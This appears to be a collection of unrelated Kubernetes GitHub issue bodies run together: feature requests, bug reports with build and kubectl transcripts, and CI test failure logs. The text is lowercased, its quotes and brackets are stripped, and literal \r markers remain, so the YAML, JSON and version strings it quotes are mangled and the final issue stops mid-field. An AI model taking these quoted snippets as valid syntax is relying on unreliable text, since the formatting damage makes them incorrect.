\r   anything else we need to know?  :\r i have a  proof of concept commit  1  that adds distributed claims resolution.  it doesn't support multiple issues which is probably something that needs to be addressed, but i'm willing to take that work on.\r \r \r  1 : https://github.com/filmil/kubernetes/commit/6a8d5b67e812a44288598fbb581d57820a1e1d85\r  2 : https://github.com/kubernetes/apiserver/blob/master/plugin/pkg/authenticator/token/oidc/oidc.go

on request by the release manager @jberkus  also cc @kubernetes/kubernetes-release-managers , i'm creating this tracking issue for the kubernetes/kubeadm repo.  thanks @dims for reminding me :wink: \r this is a similar issue to e.g. https://github.com/kubernetes/kubernetes/issues/51841\r \r i'm tracking what we need to get done for kubeadm to be in a release-able state in this milestone: https://github.com/kubernetes/kubeadm/milestone/6\r \r on a high level the status right now is good i think. the team all in bugfix and docs mode.\r we nailed some tricky etcd issues yesterday, and have fixed other bugs that have surfaced from extensive testing. we have done most of the docs updates needed for v1.11 in general. we're adding\r net-new, non-critical but very good docs to have for the users on a best-effort basis.\r \r actions required by the release team or vice versa will be communicated via this channel.\r when all the kubeadm tasks are done, we can close this meta-issue.\r sounds good to you?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what you expected to happen  :\r \r after  63011 in, we can have block as volume source for local pvs  in fact i think most of the users would behavior this way . so i think it fairly reasonable to add mountoptions support in local volume.\r i've indeed received such requirement from my team and also folks from other companies @wenlxie \r \r /cc @msau42 @jsafrane \r \r 

there is a significant drop in scheduling throughput in ci-kubernetes-e2e-gce-scale-performance test.\r \r ! scheduling_throughput  https://user-images.githubusercontent.com/25119199/49374898-0ecbcd00-f703-11e8-8788-e6803220ca9f.png \r \r it looks like change that cause this issue was introduced between 05/11/2018  run 249  and 06/11/2018  run 250 \r \r  

if you try to create a kubernetes example from the docs the chance is quite big that you get an outdated yml/json definition in the .md files or the example files. this results in searching another newer example which might lead to another outdated version. this results into looking into the code. i think many people just quit here. especially when it happens more then once.  idea:  add an additional test that finds every .md and .yml .json file in the repository. then check if there is formated code   if it's an .md file   search for keywords like       apiversion: \ v1\    kind:       check if the code could be read from the kubectl parser. if not, build fails. this would increase the maintenance costs, but would lead to a better general documentation for each new version.

as reported in  22231, the backends can get into a state  somehow  where our connection attempt just hangs. we should timeout relatively quickly in that case, like 5s or 10s. right now the global timeout handler triggers  causing us to leak a goroutine .

it would be nice to have logs end up in different indices based on a pod's namespace.  it looks like the es plugin has a new feature in 1.4, which takes   logstash-format  https://github.com/uken/fluent-plugin-elasticsearch target_index_key

instead, have a presubmit test that verifies that the docs can be generated. this will reduce the number of conflicts & rebases, therefore increase speed through the queue.  confirmed with @bgrant0607 that nothing depends on these docs at the moment.  @johndmulhausen fyi, some manual process might have to change once this is in.

poddisruptionbudget allows you to specify minavailable.  i would like to have, say, a cassandra cluster, and be able to scale it up and down according to some custom metric.    say my data is replicated 3 ways.  so, i don't ever want more than 2 instances down or i can't read my data during the disruption.  with the current  minavailable , i have to adjust both the deployment  or petset  scale, and the poddisruptionbudget at the same time, which prohibits use of generic scaling, e.g. via hpa with custom metrics.  presumably the validation would only allow one of these options to be specified at a time.  @kubernetes/api-review-team   @kow3ns @foxish we talked about this today.  @davidopp @mwielgus you work on poddisruptionbudget i think.

is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release :\r \r > retty_name=\ debian gnu/linux 8  jessie \ \r > name=\ debian gnu/linux\ \r > version_id=\ 8\ \r > version=\ 8  jessie \ \r > id=debian\r > home_url=\ http://www.debian.org/\ \r > support_url=\ http://www.debian.org/support/\ \r > bug_report_url=\ https://bugs.debian.org/\ \r \r -   kernel    e.g.  uname -a  :\r \r > linux kubernetes-master 3.16.0-4-amd64  1 smp debian 3.16.7-ckt20-1+deb8u2  2016-01-02  x86_64 gnu/linux\r \r -   install tools  : none\r -   others  : none\r \r \r   what happened  :\r when i create a deployment with vsphere cloud provider dynamic provisioning, it creates a volume spec with volume path -    datastore  kubevols/volume   which contains a white space in it. in this case the cloud provider queries the getdevicenamefrommount   to return the path of the volume mounted. since getdevicenamefrommount   queries the filesystem to get the mount references, it returns a volume path \  datastore \\\\040kubevols/volume\ . later the kubelet searches for this volume path in both the actual and desired states. th actual and desired states contains volume with path \  datastore  kubevols/volume\ . so, it couldn't find such volume path and therefore kubernetes stalls unable to make any progress further similar to one described in  37022.\r \r also similar issue described in  37712\r \r   what you expected to happen  :\r all the pods in the recreated deployment comes up.\r \r   how to reproduce it    as minimally and precisely as possible :\r see above.\r \r   anything else do we need to know  : none\r \r @abrarshivani @kerneltime @pdhamdhere\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-release-1.5/1373/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:88 expected error:     < errors.statuserror | 0xc420228b00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ unknown\\\   has prevented the request from succeeding  post services rc-light-ctrl \ ,             reason: \ internalerror\ ,             details: {                 name: \ rc-light-ctrl\ ,                 group: \ \ ,                 kind: \ services\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ unknown\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server  \ unknown\   has prevented the request from succeeding  post services rc-light-ctrl  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling_utils.go:243       previous issues for this test:  27443  27835  28900  32512

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r ---\r kubernetes make quick-release no space left on device\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.2-beta.0\r \r   environment  :\r -   cloud provider or hardware configuration  :\r n/a\r -   os    e.g. from /etc/os-release :\r macos sierra 10.12.1  16b2555 \r -   kernel    e.g.  uname -a  :\r darwin newt 16.1.0 darwin kernel version 16.1.0: thu oct 13 21:26:57 pdt 2016; root:xnu-3789.21.3~60/release_x86_64 x86_64\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r issued command  make quick-release , failed\r \r   what you expected to happen  :\r  make quick-release  should build\r \r   how to reproduce it    as minimally and precisely as possible :\r   install docker for mac 1.12.5\r   git clone git@github.com:kubernetes/kubernetes.git\r   cd kubernetes\r   make quick-release\r \r   anything else do we need to know  :\r terminal session is copied below.\r    \r $ git clone git@github.com:kubernetes/kubernetes.git\r cloning into 'kubernetes'...\r remote: counting objects: 406944, done.\r remote: total 406944  delta 0 , reused 0  delta 0 , pack-reused 406943\r receiving objects: 100%  406944/406944 , 367.98 mib | 7.25 mib/s, done.\r resolving deltas: 100%  266495/266495 , done.\r checking out files: 100%  12083/12083 , done.\r matthew@newt:~/documents/github/kubernetes\r $ cd  kubernetes/\r matthew@newt:~/documents/github/kubernetes/kubernetes  master \r $ git co v1.5.2-beta.0\r note: checking out 'v1.5.2-beta.0'.\r \r you are in 'detached head' state. you can look around, make experimental\r changes and commit them, and you can discard any commits you make in this\r state without impacting any branches by performing another checkout.\r \r if you want to create a new branch to retain commits you create, you may\r do so  now or later  by using -b with the checkout command again. example:\r \r   git checkout -b <new-branch-name>\r \r head is now at 5f332aa... kubernetes version v1.5.2-beta.0\r $ make quick-release\r +++  1222 12:01:53  verifying prerequisites....\r   !!! cannot find gnu tar. build on linux or install gnu tar\r       on mac os x  brew install gnu-tar .\r make:      quick-release  error 1\r matthew@newt:~/documents/github/kubernetes/kubernetes   v1.5.2-beta.0  \r $ brew install gnu-tar\r updating homebrew...\r ==> auto-updated homebrew!\r updated 3 taps  dart-lang/dart, homebrew/core, homebrew/science .\r ==> updated formulae\r amazon-ecs-cli         caddy                  gdk-pixbuf ✔           macvim                 terragrunt\r arangodb               chromedriver           gnome-builder          monetdb                vim\r aws-sdk-cpp            conan                  kops ✔                 sqliteodbc             zplug\r awscli ✔               elasticsearch@2.4      kubernetes-cli ✔       syncthing              zsh\r bazel                  epubcheck              libgweather            tbb\r cabal-install          gcc                    libhttpseverywhere     terraform\r \r ==> downloading https://homebrew.bintray.com/bottles/gnu-tar-1.29_1.sierra.bottle.tar.gz\r                                                                          100.0%\r ==> pouring gnu-tar-1.29_1.sierra.bottle.tar.gz\r ==> caveats\r gnu-tar has been installed as \ gtar\ .\r \r if you really need to use it as \ tar\ , you can add a \ gnubin\  directory\r to your path from your bashrc like:\r \r     path=\ /usr/local/opt/gnu-tar/libexec/gnubin:$path\ \r \r additionally, you can access their man pages with normal names if you add\r the \ gnuman\  directory to your manpath from your bashrc as well:\r \r     manpath=\ /usr/local/opt/gnu-tar/libexec/gnuman:$manpath\ \r \r ==> summary\r 🍺  /usr/local/cellar/gnu-tar/1.29_1: 15 files, 1.7m\r matthew@newt:~/documents/github/kubernetes/kubernetes   v1.5.2-beta.0  \r $ make quick-release\r +++  1222 12:03:29  verifying prerequisites....\r +++  1222 12:03:29  using docker for macos\r +++  1222 12:03:30  building docker image kube-build:build-bf7ee7b381-4-v1.7.4-0\r +++  1222 12:05:00  creating data container kube-build-data-bf7ee7b381-4-v1.7.4-0\r +++  1222 12:05:02  syncing sources to container\r +++  1222 12:05:09  running build command...\r +++  1222 12:05:24  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:05:25  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:05:25  building go targets for linux/amd64:\r     cmd/libs/go2idl/deepcopy-gen\r +++  1222 12:05:31  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:05:32  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:05:32  building go targets for linux/amd64:\r     cmd/libs/go2idl/defaulter-gen\r +++  1222 12:05:38  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:05:38  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:05:39  building go targets for linux/amd64:\r     cmd/libs/go2idl/conversion-gen\r +++  1222 12:05:44  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:05:45  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:05:45  building go targets for linux/amd64:\r     cmd/libs/go2idl/openapi-gen\r +++  1222 12:05:54  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:05:54  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:05:55  building go targets for linux/amd64:\r     cmd/kube-dns\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     cmd/kube-discovery\r     plugin/cmd/kube-scheduler\r +++  1222 12:14:32  multiple platforms requested, but available 9g < threshold 11g, building platforms in serial\r +++  1222 12:14:32  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:14:32  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:14:33  building go targets for darwin/amd64:\r     cmd/kubectl\r     federation/cmd/kubefed\r +++  1222 12:17:47  building go targets for linux/amd64:\r     cmd/kubectl\r     federation/cmd/kubefed\r +++  1222 12:18:18  multiple platforms requested, but available 9g < threshold 11g, building platforms in serial\r +++  1222 12:18:18  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1222 12:18:19  generating bindata:\r     test/e2e/framework/gobindata_util.go\r +++  1222 12:18:19  building go targets for darwin/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/mungedocs\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     examples/k8petstore/web-server/src\r     federation/cmd/genfeddocs\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r +++  1222 12:22:55  building go targets for linux/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/mungedocs\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     examples/k8petstore/web-server/src\r     federation/cmd/genfeddocs\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r   k8s.io/kubernetes/cmd/genman\r /usr/local/go/pkg/tool/linux_amd64/link: flushing /tmp.k8s/go-link-258948938/go.o: write /tmp.k8s/go-link-258948938/go.o: no space left on device\r   k8s.io/kubernetes/federation/cmd/genfeddocs\r /usr/local/go/pkg/tool/linux_amd64/link: flushing $work/k8s.io/kubernetes/federation/cmd/genfeddocs/_obj/exe/a.out: write $work/k8s.io/kubernetes/federation/cmd/genfeddocs/_obj/exe/a.out: no space left on device\r makefile:79: recipe for target 'all' failed\r make 1 :      all  error 1\r makefile:264: recipe for target 'cross' failed\r make:      cross  error 1\r make:      quick-release  error 1\r matthew@newt:~/documents/github/kubernetes/kubernetes   v1.5.2-beta.0  \r $ docker --version\r docker version 1.12.5, build 7392c3b\r matthew@newt:~/documents/github/kubernetes/kubernetes   v1.5.2-beta.0  \r $ uname -a\r darwin newt 16.1.0 darwin kernel version 16.1.0: thu oct 13 21:26:57 pdt 2016; root:xnu-3789.21.3~60/release_x86_64 x86_64\r    \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/1808/ failed: testpatch {client}      client_test.go:282: failed updating patchpod with patch type application/merge-patch+json: operation cannot be fulfilled on pods \ patchpod\ : <nil>

is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?   :\r - opaque integer\r \r \r ---\r   tldr  :\r opaque integers do not have the same behaviors as others resources  cpu, ...  when they become available again.\r \r when a pod  which asks for an opaque integer  gets scheduled and the resources is not available, it's status ends up in outofpod instead of pending. \r meaning that the scheduler won't try to reschedule it when the resource becomes available\r \r \r   what happened  :\r     bash\r $ echo ' {\ op\ : \ add\ , \ path\ : \ /status/capacity/pod.alpha.kubernetes.io~1opaque-int-resource-bananas\ , \ value\ : \ 2\ } ' | \\\r > http patch http://localhost:8080/api/v1/nodes/localhost.localdomain/status \\\r > content-type:application/json-patch+json\r    \r \r _note: pod specs are at the end of the issue_\r \r    bash\r $ ./cluster/kubectl.sh create -f ./double-banana.yml\r $ ./cluster/kubectl.sh get pods\r name                ready     status    restarts   age\r double-banana-pod   1/1       running   0          3s\r \r $ ./cluster/kubectl.sh create -f ./single-banana.yml\r $ ./cluster/kubectl.sh get pods\r name                ready     status    restarts   age\r double-banana-pod   1/1       running                                                    0          23s\r single-banana-pod   0/1       outofpod.alpha.kubernetes.io/opaque-int-resource-bananas   0          3s\r \r $ ./cluster/kubectl.sh delete -f ./double-banana.yml\r $ ./cluster/kubectl.sh get pods\r name                ready     status                                                     restarts   age\r single-banana-pod   0/1       outofpod.alpha.kubernetes.io/opaque-int-resource-bananas   0          21s\r    \r \r \r   what you expected to happen  :\r \r    bash\r $ ./cluster/kubectl.sh create -f ./double-banana.yml\r $ ./cluster/kubectl.sh get pods\r name                ready     status    restarts   age\r double-banana-pod   1/1       running   0          3s\r \r $ ./cluster/kubectl.sh create -f ./single-banana.yml\r $ ./cluster/kubectl.sh get pods\r name                ready     status    restarts   age\r double-banana-pod   1/1       running                                                    0          23s\r single-banana-pod   0/1       pending   0          3s\r \r $ ./cluster/kubectl.sh delete -f ./double-banana.yml\r $ ./cluster/kubectl.sh get pods\r name                ready     status                                                     restarts   age\r single-banana-pod   1/1       running   0          21s\r    \r ---\r   pod exemple  :\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: single-banana-pod\r spec:\r   containers:\r   - image: nginx\r     name: single-banana-ctr\r \r     resources:\r       requests:\r         pod.alpha.kubernetes.io/opaque-int-resource-bananas: 1\r    \r ---\r   environment and version  :\r \r    bash\r $ cluster/kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.335+a564506f7c0fd0\ , gitcommit:\ a564506f7c0fd0693870221a3b811be36461c057\ , gittreestate:\ clean\ , builddate:\ 2017-02-16t01:01:50z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.335+a564506f7c0fd0\ , gitcommit:\ a564506f7c0fd0693870221a3b811be36461c057\ , gittreestate:\ clean\ , builddate:\ 2017-02-16t01:01:50z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ cat /etc/os-release                                                                                                                                        name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r ubuntu_codename=xenial\r \r $ uname -a                                                                                                                                                   \r linux 4.4.0-62-generic  83-ubuntu smp x86_64 x86_64 x86_64 gnu/linux\r    \r ran from  ./hack/local-up-cluster.sh \r \r ping @connordoyle :smile:

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/3134/ multiple broken tests:  failed:  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working zookeeper cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:441 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/zookeeper/service.yaml --namespace=e2e-tests-statefulset-xlb6p      <nil>  error: the path \\\ test/e2e/testing-manifests/statefulset/zookeeper/service.yaml\\\  does not exist\     <nil> 0xc420b88a50 exit status 1 <nil> <nil> true  0xc420fecaa0 0xc420fecab8 0xc420fecae0   0xc420fecaa0 0xc420fecab8 0xc420fecae0   0xc420fecab0 0xc420fecac8   0xca1b20 0xca1b20  0xc420b82e40 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ test/e2e/testing-manifests/statefulset/zookeeper/service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/zookeeper/service.yaml --namespace=e2e-tests-statefulset-xlb6p      <nil>  error: the path \ test/e2e/testing-manifests/statefulset/zookeeper/service.yaml\  does not exist         <nil> 0xc420b88a50 exit status 1 <nil> <nil> true  0xc420fecaa0 0xc420fecab8 0xc420fecae0   0xc420fecaa0 0xc420fecab8 0xc420fecae0   0xc420fecab0 0xc420fecac8   0xca1b20 0xca1b20  0xc420b82e40 <nil>}:     command stdout:          stderr:     error: the path \ test/e2e/testing-manifests/statefulset/zookeeper/service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2098       failed:  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working cockroachdb cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:456 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/cockroachdb/service.yaml --namespace=e2e-tests-statefulset-91p75      <nil>  error: the path \\\ test/e2e/testing-manifests/statefulset/cockroachdb/service.yaml\\\  does not exist\     <nil> 0xc420e50900 exit status 1 <nil> <nil> true  0xc4202a5ab8 0xc4202a5ad0 0xc4202a5ae8   0xc4202a5ab8 0xc4202a5ad0 0xc4202a5ae8   0xc4202a5ac8 0xc4202a5ae0   0xca1b20 0xca1b20  0xc420e80060 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ test/e2e/testing-manifests/statefulset/cockroachdb/service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/cockroachdb/service.yaml --namespace=e2e-tests-statefulset-91p75      <nil>  error: the path \ test/e2e/testing-manifests/statefulset/cockroachdb/service.yaml\  does not exist         <nil> 0xc420e50900 exit status 1 <nil> <nil> true  0xc4202a5ab8 0xc4202a5ad0 0xc4202a5ae8   0xc4202a5ab8 0xc4202a5ad0 0xc4202a5ae8   0xc4202a5ac8 0xc4202a5ae0   0xca1b20 0xca1b20  0xc420e80060 <nil>}:     command stdout:          stderr:     error: the path \ test/e2e/testing-manifests/statefulset/cockroachdb/service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2098       failed:  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working mysql cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:451 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/mysql-galera/service.yaml --namespace=e2e-tests-statefulset-82p0b      <nil>  error: the path \\\ test/e2e/testing-manifests/statefulset/mysql-galera/service.yaml\\\  does not exist\     <nil> 0xc420c89050 exit status 1 <nil> <nil> true  0xc4201d2c20 0xc4201d2c38 0xc4201d2c58   0xc4201d2c20 0xc4201d2c38 0xc4201d2c58   0xc4201d2c30 0xc4201d2c48   0xca1b20 0xca1b20  0xc420c8c840 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ test/e2e/testing-manifests/statefulset/mysql-galera/service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/mysql-galera/service.yaml --namespace=e2e-tests-statefulset-82p0b      <nil>  error: the path \ test/e2e/testing-manifests/statefulset/mysql-galera/service.yaml\  does not exist         <nil> 0xc420c89050 exit status 1 <nil> <nil> true  0xc4201d2c20 0xc4201d2c38 0xc4201d2c58   0xc4201d2c20 0xc4201d2c38 0xc4201d2c58   0xc4201d2c30 0xc4201d2c48   0xca1b20 0xca1b20  0xc420c8c840 <nil>}:     command stdout:          stderr:     error: the path \ test/e2e/testing-manifests/statefulset/mysql-galera/service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2098       failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048   failed:  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working redis cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:446 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/redis/service.yaml --namespace=e2e-tests-statefulset-kpncc      <nil>  error: the path \\\ test/e2e/testing-manifests/statefulset/redis/service.yaml\\\  does not exist\     <nil> 0xc420fba5d0 exit status 1 <nil> <nil> true  0xc4205544b0 0xc4205544d0 0xc4205544f0   0xc4205544b0 0xc4205544d0 0xc4205544f0   0xc4205544c8 0xc4205544e8   0xca1b20 0xca1b20  0xc4211f3560 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ test/e2e/testing-manifests/statefulset/redis/service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.33.77 --kubeconfig=/workspace/.kube/config create -f test/e2e/testing-manifests/statefulset/redis/service.yaml --namespace=e2e-tests-statefulset-kpncc      <nil>  error: the path \ test/e2e/testing-manifests/statefulset/redis/service.yaml\  does not exist         <nil> 0xc420fba5d0 exit status 1 <nil> <nil> true  0xc4205544b0 0xc4205544d0 0xc4205544f0   0xc4205544b0 0xc4205544d0 0xc4205544f0   0xc4205544c8 0xc4205544e8   0xca1b20 0xca1b20  0xc4211f3560 <nil>}:     command stdout:          stderr:     error: the path \ test/e2e/testing-manifests/statefulset/redis/service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2098

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ fatal error: concurrent map writes\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r unexpected panic\r logs:  kube-dns-crash.txt  https://github.com/kubernetes/kubernetes/files/989882/kube-dns-crash.txt \r \r   what you expected to happen  :\r no panic\r \r   how to reproduce it    as minimally and precisely as possible :\r unknown\r \r   anything else we need to know  :\r \r pod definition:\r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-3453099841\ ,\ uid\ :\ 